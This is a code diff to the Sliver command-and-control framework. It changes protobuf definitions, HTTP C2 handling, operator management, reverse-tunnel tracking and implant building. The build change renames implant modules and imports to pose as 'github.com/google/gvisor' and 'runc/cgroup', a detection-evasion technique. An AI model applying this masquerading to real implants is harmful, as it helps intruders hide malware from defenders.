+//NOTE: DNS is very space sensitive so certain fields are re-purposed
+//depending on the DNSMessageType as noted below:
+//
+//[Type TOTP]: ID field is used for the TOTP code
+//
 type DNSMessage struct {
-	state         protoimpl.MessageState `protogen:"open.v1"`
-	Type          DNSMessageType         `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
-	ID            uint32                 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"`       // 8 bit message id + 24 bit dns session ID
-	Start         uint32                 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
-	Stop          uint32                 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"`   // Bytes stop at
-	Size          uint32                 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"`   // Total size
-	Data          []byte                 `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"`    // Actual data
-	unknownFields protoimpl.UnknownFields
+	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Type  DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
+	ID    uint32         `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"`       // 8 bit message id + 24 bit dns session ID
+	Start uint32         `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
+	Stop  uint32         `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"`   // Bytes stop at
+	Size  uint32         `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"`   // Total size
+	Data  []byte         `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"`    // Actual data
 }
 
 func (x *DNSMessage) Reset() {
 	*x = DNSMessage{}
-	mi := &file_dnspb_dns_proto_msgTypes[0]
-	ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-	ms.StoreMessageInfo(mi)
+	if protoimpl.UnsafeEnabled {
+		mi := &file_dnspb_dns_proto_msgTypes[0]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
 }
 
 func (x *DNSMessage) String() string {
@@ -118,7 +123,7 @@ func (*DNSMessage) ProtoMessage() {}
 
 func (x *DNSMessage) ProtoReflect() protoreflect.Message {
 	mi := &file_dnspb_dns_proto_msgTypes[0]
-	if x != nil {
+	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
 			ms.StoreMessageInfo(mi)
@@ -218,7 +223,7 @@ func file_dnspb_dns_proto_rawDescGZIP() []byte {
 
 var file_dnspb_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
 var file_dnspb_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 1)
-var file_dnspb_dns_proto_goTypes = []any{
+var file_dnspb_dns_proto_goTypes = []interface{}{
 	(DNSMessageType)(0), // 0: dnspb.DNSMessageType
 	(*DNSMessage)(nil),  // 1: dnspb.DNSMessage
 }
@@ -236,6 +241,20 @@ func file_dnspb_dns_proto_init() {
 	if File_dnspb_dns_proto != nil {
 		return
 	}
+	if !protoimpl.UnsafeEnabled {
+		file_dnspb_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*DNSMessage); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+	}
 	type x struct{}
 	out := protoimpl.TypeBuilder{
 		File: protoimpl.DescBuilder{

protobuf/rpcpb/services.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.36.3
-// 	protoc        v5.29.3
+// 	protoc-gen-go v1.26.0
+// 	protoc        v6.33.2
 // source: rpcpb/services.proto
 
 package rpcpb
@@ -724,7 +724,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
 	0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
 }
 
-var file_rpcpb_services_proto_goTypes = []any{
+var file_rpcpb_services_proto_goTypes = []interface{}{
 	(*commonpb.Empty)(nil),                    // 0: commonpb.Empty
 	(*clientpb.ClientLogData)(nil),            // 1: clientpb.ClientLogData
 	(*sliverpb.KillReq)(nil),                  // 2: sliverpb.KillReq

protobuf/sliverpb/sliver.proto

@@ -515,6 +515,9 @@ message ExecuteReq {
   bool Output = 3;
   string Stdout = 4;
   string Stderr = 5;
+  bool EnvInheritance = 6;
+  map<string, string> Env = 7;
+
   uint32 PPid = 10;
 
   commonpb.Request Request = 9;

server/assets/assets-helpers.go

@@ -277,7 +277,7 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
 	}
 	sliverpbGoSrc = xorPBRawBytes(sliverpbGoSrc)
 	sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
-	sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
+	sliverpbDir := filepath.Join(goPathSrc, "protobuf", "sliverpb")
 	setupLog.Infof("Creating sliverpb directory: %s", sliverpbDir)
 	os.MkdirAll(sliverpbDir, 0700)
 	os.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
@@ -290,7 +290,7 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
 		return err
 	}
 	commonpbSrc = xorPBRawBytes(commonpbSrc)
-	commonpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
+	commonpbDir := filepath.Join(goPathSrc, "protobuf", "commonpb")
 	os.MkdirAll(commonpbDir, 0700)
 	os.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
 
@@ -302,7 +302,7 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
 			return err
 		}
 		dnspbSrc = xorPBRawBytes(dnspbSrc)
-		dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
+		dnspbDir := filepath.Join(goPathSrc, "protobuf", "dnspb")
 		os.MkdirAll(dnspbDir, 0700)
 		os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
 	}

server/c2/http.go

@@ -69,6 +69,7 @@ var (
 
 const (
 	DefaultMaxBodyLength   = 2 * 1024 * 1024 * 1024 // 2Gb
+	DefaultMaxUnauthBodyLength = 8 * 1024 * 1024   // 8Mb
 	DefaultHTTPTimeout     = time.Minute
 	DefaultLongPollTimeout = time.Second
 	DefaultLongPollJitter  = time.Second
@@ -564,7 +565,10 @@ func (s *SliverHTTPC2) anonymousHandler(resp http.ResponseWriter, req *http.Requ
 func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request, encoder sliverEncoders.Encoder) {
 	httpLog.Debug("Start http session request")
 
-	body, err := io.ReadAll(req.Body)
+	body, err := io.ReadAll(&io.LimitedReader{
+		R: req.Body,
+		N: int64(DefaultMaxUnauthBodyLength),
+	})
 	if err != nil {
 		httpLog.Errorf("Failed to read body %s", err)
 		s.defaultHandler(resp, req)

server/cli/cli.go

@@ -28,6 +28,7 @@ import (
 
 	"github.com/spf13/cobra"
 
+	clientcli "github.com/bishopfox/sliver/client/cli"
 	"github.com/bishopfox/sliver/server/assets"
 	"github.com/bishopfox/sliver/server/c2"
 	"github.com/bishopfox/sliver/server/certs"
@@ -72,6 +73,8 @@ func initConsoleLogging(appDir string) *os.File {
 }
 
 func init() {
+	rootCmd.Flags().String(clientcli.RCFlagName, "", "path to rc script file")
+
 	// Unpack
 	unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite")
 	rootCmd.AddCommand(unpackCmd)
@@ -147,8 +150,14 @@ var rootCmd = &cobra.Command{
 		if serverConfig.DaemonMode {
 			daemon.Start(daemon.BlankHost, daemon.BlankPort, serverConfig.DaemonConfig.Tailscale)
 		} else {
+			rcScript, err := clientcli.ReadRCScript(cmd)
+			if err != nil {
+				fmt.Printf("Failed to read rc script: %s\n", err)
+				return
+			}
+
 			os.Args = os.Args[:1] // Hide cli from grumble console
-			console.Start()
+			console.Start(rcScript)
 		}
 	},
 }

server/console/console-admin.go

@@ -28,12 +28,15 @@ import (
 	"os"
 	"path/filepath"
 	"regexp"
+	"sort"
+	"strings"
 
 	"github.com/spf13/cobra"
 
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/server/certs"
+	"github.com/bishopfox/sliver/server/console/forms"
 	"github.com/bishopfox/sliver/server/core"
 	"github.com/bishopfox/sliver/server/db"
 	"github.com/bishopfox/sliver/server/db/models"
@@ -172,14 +175,54 @@ func NewOperatorConfig(operatorName string, lhost string, lport uint16, permissi
 	return json.Marshal(config)
 }
 
-func kickOperatorCmd(cmd *cobra.Command, _ []string) {
+func kickOperatorCmd(cmd *cobra.Command, args []string) {
 	operator, _ := cmd.Flags().GetString("name")
 
+	if shouldPromptKickOperator(cmd, args) {
+		names, err := operatorNames()
+		if err != nil {
+			fmt.Printf(Warn+"Failed to list operators: %v\n", err)
+			return
+		}
+		if len(names) == 0 {
+			fmt.Printf(Warn + "No operators found.\n")
+			return
+		}
+		if err := forms.SelectOperator("Select operator to kick", names, &operator); err != nil {
+			if errors.Is(err, forms.ErrUserAborted) {
+				return
+			}
+			fmt.Printf(Warn+"Operator selection failed: %v\n", err)
+			return
+		}
+		if err := cmd.Flags().Set("name", operator); err != nil {
+			fmt.Printf(Warn+"Failed to set operator name: %v\n", err)
+			return
+		}
+	}
+
+	operator = strings.TrimSpace(operator)
+	if operator == "" {
+		fmt.Printf(Warn + "Operator name required (use --name).\n")
+		return
+	}
+
+	exists, err := operatorExists(operator)
+	if err != nil {
+		fmt.Printf(Warn+"Failed to lookup operator %s: %v\n", operator, err)
+		return
+	}
+	if !exists {
+		fmt.Printf(Warn+"Operator %s does not exist.\n", operator)
+		return
+	}
+
 	fmt.Printf(Info+"Removing auth token(s) for %s, please wait ... \n", operator)
-	err := db.Session().Where(&models.Operator{
+	err = db.Session().Where(&models.Operator{
 		Name: operator,
 	}).Delete(&models.Operator{}).Error
 	if err != nil {
+		fmt.Printf(Warn+"Failed to remove operator %s: %v\n", operator, err)
 		return
 	}
 	transport.ClearTokenCache()
@@ -192,6 +235,55 @@ func kickOperatorCmd(cmd *cobra.Command, _ []string) {
 	fmt.Printf(Info+"Operator %s has been kicked out.\n", operator)
 }
 
+func shouldPromptKickOperator(cmd *cobra.Command, args []string) bool {
+	if len(args) != 0 {
+		return false
+	}
+	return cmd.Flags().NFlag() == 0
+}
+
+func operatorNames() ([]string, error) {
+	operators, err := db.OperatorAll()
+	if err != nil {
+		return nil, err
+	}
+
+	names := make([]string, 0, len(operators))
+	seen := make(map[string]struct{}, len(operators))
+	for _, operator := range operators {
+		if operator == nil {
+			continue
+		}
+		name := strings.TrimSpace(operator.Name)
+		if name == "" {
+			continue
+		}
+		if _, ok := seen[name]; ok {
+			continue
+		}
+		seen[name] = struct{}{}
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return names, nil
+}
+
+func operatorExists(name string) (bool, error) {
+	if strings.TrimSpace(name) == "" {
+		return false, nil
+	}
+	err := db.Session().Where(&models.Operator{
+		Name: name,
+	}).First(&models.Operator{}).Error
+	if err == nil {
+		return true, nil
+	}
+	if errors.Is(err, db.ErrRecordNotFound) {
+		return false, nil
+	}
+	return false, err
+}
+
 func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) {
 	lhost, _ := cmd.Flags().GetString("lhost")
 	lport, _ := cmd.Flags().GetUint16("lport")

server/console/console.go

@@ -38,7 +38,7 @@ import (
 )
 
 // Start - Starts the server console
-func Start() {
+func Start(rcScript string) {
 	_, ln, _ := transport.LocalListener()
 	ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) {
 		return ln.Dial()
@@ -57,7 +57,7 @@ func Start() {
 	defer conn.Close()
 	localRPC := rpcpb.NewSliverRPCClient(conn)
 	con := console.NewConsole(false)
-	console.StartClient(con, localRPC, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true)
+	console.StartClient(con, localRPC, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true, rcScript)
 
 	con.App.Start()
 }

server/console/forms/operator_selector.go

@@ -0,0 +1,74 @@
+package forms
+
+import (
+	"errors"
+	"strings"
+
+	"github.com/charmbracelet/huh"
+)
+
+const defaultSelectHeight = 10
+
+// ErrUserAborted exposes the huh user-abort sentinel for callers.
+var ErrUserAborted = huh.ErrUserAborted
+
+// SelectOperator prompts for a single operator selection.
+func SelectOperator(title string, operators []string, value *string) error {
+	if value == nil {
+		return errors.New("operator selection value is required")
+	}
+	if len(operators) == 0 {
+		return errors.New("operator selection options are required")
+	}
+
+	ensureSelectedValue(operators, value)
+
+	field := huh.NewSelect[string]().
+		Title(title).
+		Options(makeStringOptions(operators)...).
+		Height(listHeight(len(operators))).
+		Value(value).
+		Validate(func(val string) error {
+			if strings.TrimSpace(val) == "" {
+				return errors.New("selection required")
+			}
+			return nil
+		})
+
+	form := huh.NewForm(huh.NewGroup(field))
+	return form.Run()
+}
+
+func ensureSelectedValue(options []string, value *string) {
+	if value == nil || len(options) == 0 {
+		return
+	}
+	if strings.TrimSpace(*value) == "" {
+		*value = options[0]
+		return
+	}
+	for _, option := range options {
+		if option == *value {
+			return
+		}
+	}
+	*value = options[0]
+}
+
+func makeStringOptions(options []string) []huh.Option[string] {
+	converted := make([]huh.Option[string], 0, len(options))
+	for _, option := range options {
+		converted = append(converted, huh.NewOption(option, option))
+	}
+	return converted
+}
+
+func listHeight(count int) int {
+	if count < 1 {
+		return 1
+	}
+	if count > defaultSelectHeight {
+		return defaultSelectHeight
+	}
+	return count
+}

server/core/rtunnels/rtunnels.go

@@ -6,9 +6,11 @@ import (
 )
 
 var (
-	Rtunnels map[uint64]*RTunnel = make(map[uint64]*RTunnel)
-	mutex    sync.RWMutex
-	pending  sync.Map
+	Rtunnels  map[uint64]*RTunnel = make(map[uint64]*RTunnel)
+	mutex     sync.RWMutex
+	pending   map[string]map[string]int
+	listeners map[string]map[uint32]string
+	pendingMu sync.Mutex
 )
 
 // RTunnel - Duplex byte read/write
@@ -97,20 +99,107 @@ func RemoveRTunnel(ID uint64) {
 }
 
 func AddPending(sessionID string, connStr string) {
-	pending.Store(sessionID, connStr)
+	pendingMu.Lock()
+	defer pendingMu.Unlock()
+	if pending == nil {
+		pending = make(map[string]map[string]int)
+	}
+	addrMap := pending[sessionID]
+	if addrMap == nil {
+		addrMap = make(map[string]int)
+		pending[sessionID] = addrMap
+	}
+	addrMap[connStr]++
 }
 
-func DeletePending(sessionID string) {
-	pending.Delete(sessionID)
+func DeletePending(sessionID string, connStr string) {
+	pendingMu.Lock()
+	defer pendingMu.Unlock()
+	if pending == nil {
+		return
+	}
+	if addrMap, ok := pending[sessionID]; ok {
+		if count, ok := addrMap[connStr]; ok {
+			if count <= 1 {
+				delete(addrMap, connStr)
+			} else {
+				addrMap[connStr] = count - 1
+			}
+		}
+		if len(addrMap) == 0 {
+			delete(pending, sessionID)
+		}
+	}
 }
 
 func Check(sessionID string, connStr string) bool {
-	if val, ok := pending.Load(sessionID); ok {
-		return val == connStr
+	pendingMu.Lock()
+	defer pendingMu.Unlock()
+	if pending == nil {
+		return false
+	}
+	if addrMap, ok := pending[sessionID]; ok {
+		return addrMap[connStr] > 0
 	}
 	return false
 }
 
+func TrackListener(sessionID string, listenerID uint32, connStr string) {
+	pendingMu.Lock()
+	defer pendingMu.Unlock()
+	if listeners == nil {
+		listeners = make(map[string]map[uint32]string)
+	}
+	if pending == nil {
+		pending = make(map[string]map[string]int)
+	}
+	lm := listeners[sessionID]
+	if lm == nil {
+		lm = make(map[uint32]string)
+		listeners[sessionID] = lm
+	}
+	lm[listenerID] = connStr
+	addrMap := pending[sessionID]
+	if addrMap == nil {
+		addrMap = make(map[string]int)
+		pending[sessionID] = addrMap
+	}
+	addrMap[connStr]++
+}
+
+func UntrackListener(sessionID string, listenerID uint32) bool {
+	pendingMu.Lock()
+	defer pendingMu.Unlock()
+	if listeners == nil || pending == nil {
+		return false
+	}
+	lm, ok := listeners[sessionID]
+	if !ok {
+		return false
+	}
+	connStr, ok := lm[listenerID]
+	if !ok {
+		return false
+	}
+	delete(lm, listenerID)
+	if len(lm) == 0 {
+		delete(listeners, sessionID)
+	}
+	if addrMap, ok := pending[sessionID]; ok {
+		if count, ok := addrMap[connStr]; ok {
+			if count <= 1 {
+				delete(addrMap, connStr)
+			} else {
+				addrMap[connStr] = count - 1
+			}
+		}
+		if len(addrMap) == 0 {
+			delete(pending, sessionID)
+		}
+	}
+	return true
+}
+
 // func removeAndCloseAllRTunnels() {
 // 	mutex.Lock()
 // 	defer mutex.Unlock()

server/generate/binaries.go

@@ -40,9 +40,11 @@ import (
 	"github.com/bishopfox/sliver/server/db/models"
 	"github.com/bishopfox/sliver/server/encoders"
 	"github.com/bishopfox/sliver/server/gogo"
+	"github.com/bishopfox/sliver/server/gogo/goname"
 	"github.com/bishopfox/sliver/server/log"
 	"github.com/bishopfox/sliver/util"
 	utilEncoders "github.com/bishopfox/sliver/util/encoders"
+	"golang.org/x/mod/module"
 	"golang.org/x/text/cases"
 	"golang.org/x/text/language"
 )
@@ -360,7 +362,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
 		return "", err
 	}
 
-	sliverPkgDir := filepath.Join(srcDir, "github.com", "bishopfox", "sliver") // "main"
+	sliverPkgDir := filepath.Join(srcDir) // "main"
 	err = os.MkdirAll(sliverPkgDir, 0700)
 	if err != nil {
 		return "", nil
@@ -380,14 +382,14 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
 		sliverGoCode := string(sliverGoCodeRaw)
 
 		// Skip dllmain files for anything non windows
-		if f.Name() == "sliver.c" || f.Name() == "sliver.h" {
+		if f.Name() == "main.c" || f.Name() == "main.h" {
 			if !config.IsSharedLib && !config.IsShellcode {
 				return nil
 			}
 		}
 
 		var sliverCodePath string
-		if f.Name() == "sliver.go" || f.Name() == "sliver.c" || f.Name() == "sliver.h" {
+		if f.Name() == "main.go" || f.Name() == "main.c" || f.Name() == "main.h" {
 			sliverCodePath = filepath.Join(sliverPkgDir, f.Name())
 		} else {
 			sliverCodePath = filepath.Join(sliverPkgDir, "implant", fsPath)
@@ -521,6 +523,35 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
 	}
 	buildLog.Debugf("Created %s", goModPath)
 
+	if !config.Debug {
+		goPackage := "github.com/google/gvisor"
+		if config.GoPackage != "" {
+			err := module.CheckPath(config.GoPackage)
+			if err != nil {
+				buildLog.Warnf("Invalid Go package path '%s', using default '%s'", config.GoPackage, goPackage)
+			} else {
+				goPackage = config.GoPackage
+			}
+		}
+		modResult, err := goname.RenameModule(sliverPkgDir, goPackage)
+		if err != nil {
+			buildLog.Errorf("Failed to rename module: %s", err)
+			return "", err
+		}
+		buildLog.Infof("Renamed module: %s -> %s (go.mod updated: %v)", modResult.OldModule, modResult.NewModule, modResult.GoModUpdated)
+
+		// Rename Import Paths
+		buildLog.Infof("Renaming import paths ...")
+		oldImportPrefix := path.Join(modResult.NewModule, "implant", "sliver")
+		newImportPrefix := path.Join(modResult.NewModule, "runc", "cgroup")
+		importResult, err := goname.RenameImport(sliverPkgDir, oldImportPrefix, newImportPrefix)
+		if err != nil {
+			buildLog.Errorf("Failed to rename imports: %s", err)
+			return "", err
+		}
+		buildLog.Infof("Renamed imports (%d files updated)", importResult.FilesUpdated)
+	}
+
 	return sliverPkgDir, nil
 }
 

server/gogo/go.go

@@ -183,6 +183,7 @@ func GoBuild(config GoConfig, src string, dest string, buildmode string, tags []
 	var goCommand = []string{"build"}
 
 	goCommand = append(goCommand, "-trimpath") // remove absolute paths from any compiled binary
+	goCommand = append(goCommand, "-mod=vendor")
 
 	if 0 < len(tags) {
 		goCommand = append(goCommand, "-tags")

server/gogo/goname/goname.go

@@ -0,0 +1,161 @@
+package goname
+
+import (
+	"bytes"
+	"errors"
+	"fmt"
+	"go/format"
+	"go/parser"
+	"go/token"
+	"io/fs"
+	"os"
+	"path/filepath"
+	"strconv"
+	"strings"
+
+	"golang.org/x/mod/modfile"
+)
+
+// Result captures changes made by RenameModule.
+type Result struct {
+	OldModule      string
+	NewModule      string
+	GoModUpdated   bool
+	FilesUpdated   int
+	ImportsUpdated int
+}
+
+// RenameModule updates go.mod and rewrites import paths within the module tree.
+func RenameModule(dir, newModule string) (*Result, error) {
+	newModule = strings.TrimSpace(newModule)
+	if newModule == "" {
+		return nil, errors.New("new module path is required")
+	}
+
+	goModPath := filepath.Join(dir, "go.mod")
+	modBytes, err := os.ReadFile(goModPath)
+	if err != nil {
+		return nil, fmt.Errorf("read go.mod: %w", err)
+	}
+
+	modFile, err := modfile.Parse(goModPath, modBytes, nil)
+	if err != nil {
+		return nil, fmt.Errorf("parse go.mod: %w", err)
+	}
+	if modFile.Module == nil || modFile.Module.Mod.Path == "" {
+		return nil, errors.New("go.mod is missing a module path")
+	}
+
+	oldModule := modFile.Module.Mod.Path
+	result := &Result{
+		OldModule: oldModule,
+		NewModule: newModule,
+	}
+
+	if oldModule == newModule {
+		return result, nil
+	}
+
+	if err := modFile.AddModuleStmt(newModule); err != nil {
+		return result, fmt.Errorf("update module path: %w", err)
+	}
+	formatted, err := modFile.Format()
+	if err != nil {
+		return result, fmt.Errorf("format go.mod: %w", err)
+	}
+	if err := writeFilePreservePerm(goModPath, formatted); err != nil {
+		return result, fmt.Errorf("write go.mod: %w", err)
+	}
+	result.GoModUpdated = true
+
+	if err := rewriteImports(dir, oldModule, newModule, result); err != nil {
+		return result, err
+	}
+
+	return result, nil
+}
+
+func rewriteImports(dir, oldModule, newModule string, result *Result) error {
+	return filepath.WalkDir(dir, func(path string, entry fs.DirEntry, err error) error {
+		if err != nil {
+			return err
+		}
+		if entry.IsDir() {
+			name := entry.Name()
+			if name == "vendor" || name == ".git" {
+				return fs.SkipDir
+			}
+			return nil
+		}
+		if filepath.Ext(path) != ".go" {
+			return nil
+		}
+
+		changed, importsUpdated, err := rewriteFileImports(path, oldModule, newModule)
+		if err != nil {
+			return err
+		}
+		if changed {
+			result.FilesUpdated++
+			result.ImportsUpdated += importsUpdated
+		}
+		return nil
+	})
+}
+
+func rewriteFileImports(path, oldModule, newModule string) (bool, int, error) {
+	fset := token.NewFileSet()
+	file, err := parser.ParseFile(fset, path, nil, parser.ParseComments)
+	if err != nil {
+		return false, 0, fmt.Errorf("parse %s: %w", path, err)
+	}
+
+	changed := false
+	importsUpdated := 0
+	for _, imp := range file.Imports {
+		importPath, err := strconv.Unquote(imp.Path.Value)
+		if err != nil {
+			return false, 0, fmt.Errorf("parse import in %s: %w", path, err)
+		}
+
+		if !matchesModule(importPath, oldModule) {
+			continue
+		}
+
+		newPath := newModule + strings.TrimPrefix(importPath, oldModule)
+		if newPath == importPath {
+			continue
+		}
+
+		imp.Path.Value = strconv.Quote(newPath)
+		changed = true
+		importsUpdated++
+	}
+
+	if !changed {
+		return false, 0, nil
+	}
+
+	var buf bytes.Buffer
+	if err := format.Node(&buf, fset, file); err != nil {
+		return false, 0, fmt.Errorf("format %s: %w", path, err)
+	}
+
+	if err := writeFilePreservePerm(path, buf.Bytes()); err != nil {
+		return false, 0, fmt.Errorf("write %s: %w", path, err)
+	}
+
+	return true, importsUpdated, nil
+}
+
+func matchesModule(importPath, modulePath string) bool {
+	return importPath == modulePath || strings.HasPrefix(importPath, modulePath+"/")
+}
+
+func writeFilePreservePerm(path string, data []byte) error {
+	perm := fs.FileMode(0644)
+	if info, err := os.Stat(path); err == nil {
+		perm = info.Mode().Perm()
+	}
+	return os.WriteFile(path, data, perm)
+}

server/gogo/goname/goname_test.go

@@ -0,0 +1,139 @@
+package goname
+
+import (
+	"go/parser"
+	"go/token"
+	"os"
+	"path/filepath"
+	"strconv"
+	"strings"
+	"testing"
+
+	"golang.org/x/mod/modfile"
+)
+
+func TestRenameModule(t *testing.T) {
+	fixture := filepath.Join("testdata", "basic")
+	tmp := t.TempDir()
+	if err := copyDir(fixture, tmp); err != nil {
+		t.Fatalf("copy fixture: %v", err)
+	}
+
+	result, err := RenameModule(tmp, "example.net/new")
+	if err != nil {
+		t.Fatalf("RenameModule: %v", err)
+	}
+
+	if result.OldModule != "example.com/old" {
+		t.Fatalf("old module mismatch: %s", result.OldModule)
+	}
+	if result.NewModule != "example.net/new" {
+		t.Fatalf("new module mismatch: %s", result.NewModule)
+	}
+	if !result.GoModUpdated {
+		t.Fatalf("expected go.mod update")
+	}
+	if result.FilesUpdated != 2 {
+		t.Fatalf("files updated mismatch: %d", result.FilesUpdated)
+	}
+	if result.ImportsUpdated != 3 {
+		t.Fatalf("imports updated mismatch: %d", result.ImportsUpdated)
+	}
+
+	modBytes, err := os.ReadFile(filepath.Join(tmp, "go.mod"))
+	if err != nil {
+		t.Fatalf("read go.mod: %v", err)
+	}
+	modFile, err := modfile.Parse("go.mod", modBytes, nil)
+	if err != nil {
+		t.Fatalf("parse go.mod: %v", err)
+	}
+	if modFile.Module == nil || modFile.Module.Mod.Path != "example.net/new" {
+		t.Fatalf("module path not updated: %#v", modFile.Module)
+	}
+
+	mainImports := importPaths(t, filepath.Join(tmp, "main.go"))
+	for _, want := range []string{"example.net/new", "example.net/new/pkg/foo", "example.com/oldish/pkg"} {
+		if !mainImports[want] {
+			t.Fatalf("main.go missing import: %s", want)
+		}
+	}
+	if mainImports["example.com/old"] || mainImports["example.com/old/pkg/foo"] {
+		t.Fatalf("main.go still references old module")
+	}
+
+	fooImports := importPaths(t, filepath.Join(tmp, "pkg", "foo", "foo.go"))
+	if !fooImports["example.net/new/pkg/bar"] {
+		t.Fatalf("foo.go import not updated")
+	}
+
+	vendorImports := importPaths(t, filepath.Join(tmp, "vendor", "example.com", "old", "vendor.go"))
+	if !vendorImports["example.com/old/pkg/foo"] {
+		t.Fatalf("vendor import should remain unchanged")
+	}
+
+	mainBytes, err := os.ReadFile(filepath.Join(tmp, "main.go"))
+	if err != nil {
+		t.Fatalf("read main.go: %v", err)
+	}
+	if !strings.Contains(string(mainBytes), "const example = \"example.com/old/pkg/foo\"") {
+		t.Fatalf("string literal should remain unchanged")
+	}
+}
+
+func TestRenameModuleMissingGoMod(t *testing.T) {
+	_, err := RenameModule(t.TempDir(), "example.com/new")
+	if err == nil {
+		t.Fatalf("expected error for missing go.mod")
+	}
+}
+
+func importPaths(t *testing.T, path string) map[string]bool {
+	t.Helper()
+	fset := token.NewFileSet()
+	file, err := parser.ParseFile(fset, path, nil, 0)
+	if err != nil {
+		t.Fatalf("parse %s: %v", path, err)
+	}
+
+	imports := make(map[string]bool)
+	for _, imp := range file.Imports {
+		pathValue, err := strconv.Unquote(imp.Path.Value)
+		if err != nil {
+			t.Fatalf("unquote import in %s: %v", path, err)
+		}
+		imports[pathValue] = true
+	}
+	return imports
+}
+
+func copyDir(src, dst string) error {
+	return filepath.WalkDir(src, func(path string, entry os.DirEntry, err error) error {
+		if err != nil {
+			return err
+		}
+
+		rel, err := filepath.Rel(src, path)
+		if err != nil {
+			return err
+		}
+		target := filepath.Join(dst, rel)
+		if entry.IsDir() {
+			info, err := entry.Info()
+			if err != nil {
+				return err
+			}
+			return os.MkdirAll(target, info.Mode().Perm())
+		}
+
+		data, err := os.ReadFile(path)
+		if err != nil {
+			return err
+		}
+		info, err := entry.Info()
+		if err != nil {
+			return err
+		}
+		return os.WriteFile(target, data, info.Mode().Perm())
+	})
+}

server/gogo/goname/rename_import.go

@@ -0,0 +1,134 @@
+package goname
+
+import (
+	"errors"
+	"fmt"
+	"io/fs"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+)
+
+// ImportResult captures changes made by RenameImport.
+type ImportResult struct {
+	OldImportPrefix string
+	NewImportPrefix string
+	FilesUpdated    int
+	ImportsUpdated  int
+}
+
+// RenameImport rewrites import paths that match oldImportPrefix within the directory tree.
+func RenameImport(dir, oldImportPrefix, newImportPrefix string) (*ImportResult, error) {
+	oldImportPrefix = strings.TrimSpace(oldImportPrefix)
+	newImportPrefix = strings.TrimSpace(newImportPrefix)
+	if oldImportPrefix == "" {
+		return nil, errors.New("old import prefix is required")
+	}
+	if newImportPrefix == "" {
+		return nil, errors.New("new import prefix is required")
+	}
+
+	result := &ImportResult{
+		OldImportPrefix: oldImportPrefix,
+		NewImportPrefix: newImportPrefix,
+	}
+
+	if err := rewriteImportPrefixes(dir, oldImportPrefix, newImportPrefix, result); err != nil {
+		return result, err
+	}
+	if result.ImportsUpdated == 0 {
+		return result, errors.New("no imports updated (check old/new import prefixes)")
+	}
+	if err := renameImportDir(dir, oldImportPrefix, newImportPrefix); err != nil {
+		return result, err
+	}
+
+	return result, nil
+}
+
+func rewriteImportPrefixes(dir, oldImportPrefix, newImportPrefix string, result *ImportResult) error {
+	return filepath.WalkDir(dir, func(path string, entry fs.DirEntry, err error) error {
+		if err != nil {
+			return err
+		}
+		if entry.IsDir() {
+			name := entry.Name()
+			if name == "vendor" || strings.HasPrefix(name, ".") {
+				return fs.SkipDir
+			}
+			return nil
+		}
+		if filepath.Ext(path) != ".go" {
+			return nil
+		}
+
+		changed, importsUpdated, err := rewriteFileImports(path, oldImportPrefix, newImportPrefix)
+		if err != nil {
+			return err
+		}
+		if changed {
+			result.FilesUpdated++
+			result.ImportsUpdated += importsUpdated
+		}
